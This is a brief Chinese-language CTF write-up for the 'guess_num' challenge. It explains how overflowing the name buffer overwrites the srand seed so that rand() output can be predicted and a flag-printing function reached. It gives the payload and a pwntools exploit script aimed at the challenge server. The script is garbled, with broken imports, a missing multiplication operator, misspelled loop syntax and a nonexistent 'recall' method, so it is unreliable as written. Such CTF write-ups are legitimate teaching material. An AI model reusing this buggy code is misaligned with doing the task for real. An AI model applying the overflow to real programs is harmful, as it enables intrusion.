guess_num
首先是输入一个名字 然后再一次输入10个数字 如果10个数字和rand产生的随机数想同则成功
sub_c3E()函数
直接会cat出flag
rand()函数 产生的是伪随机数 依靠srand()来产生随机数 如果 srand的参数相同 那么rand产生的随机数相同
现在找溢出点 从我们输入的地方看
首先是输入名字
这里可以看到 输入名字的时候可以将seed 覆盖,而seed就是srand的参数,如果我们将seed覆盖掉,我们就可以自己写一个程序利用覆盖的值 产生随机数 这样 本题程序产生的随机数就已经知道了 一次输入就可以了
seed 是unsigned int 型的 在64位中 占4个字节 就是四个字符 然后从名字那倒seed中间有0x20个 然后再用用四个a覆盖掉seed
所以构造payload='a'*0x20+"aaaa"
然后我们看一下用aaaa作为种子产生的随机数是多少(要将aaaa转为十六进制)
那么可以写个exp 也可以直接输入
from pwnimport *
sh=remote("111.198.29.45","31322")
payload='a'0x20+"aaaa"
sh.sendlineafter("Your name:",payload)
num=["5","6","4","6","6","2","3","6","2","2"]
for iin rang(10):
sh.sendlineafter("Please input your guess number:",num[i])
print(sh.recall())